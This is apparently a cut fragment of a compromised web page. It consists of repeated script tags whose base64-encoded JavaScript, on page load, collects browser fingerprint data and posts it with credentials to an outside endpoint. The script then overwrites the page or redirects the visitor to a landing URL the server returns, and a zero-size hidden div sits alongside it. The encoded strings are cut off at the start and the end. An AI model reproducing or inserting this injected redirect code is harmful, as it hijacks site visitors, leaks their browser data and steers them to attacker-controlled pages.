aChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script> <div class="qwrqwqwrwqrq"><!--c1e19052--><!--c1e19052--></div>
<style>
.qwrqwqwrwqrq, .qwrqwqwrwqrq a{
font-size:0px;
height:0px;
}
</style>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT11ZXF0dWl2ajFpeTJpZTV0NjFrciZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT11ZXF0dWl2ajFpeTJpZTV0NjFrciZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0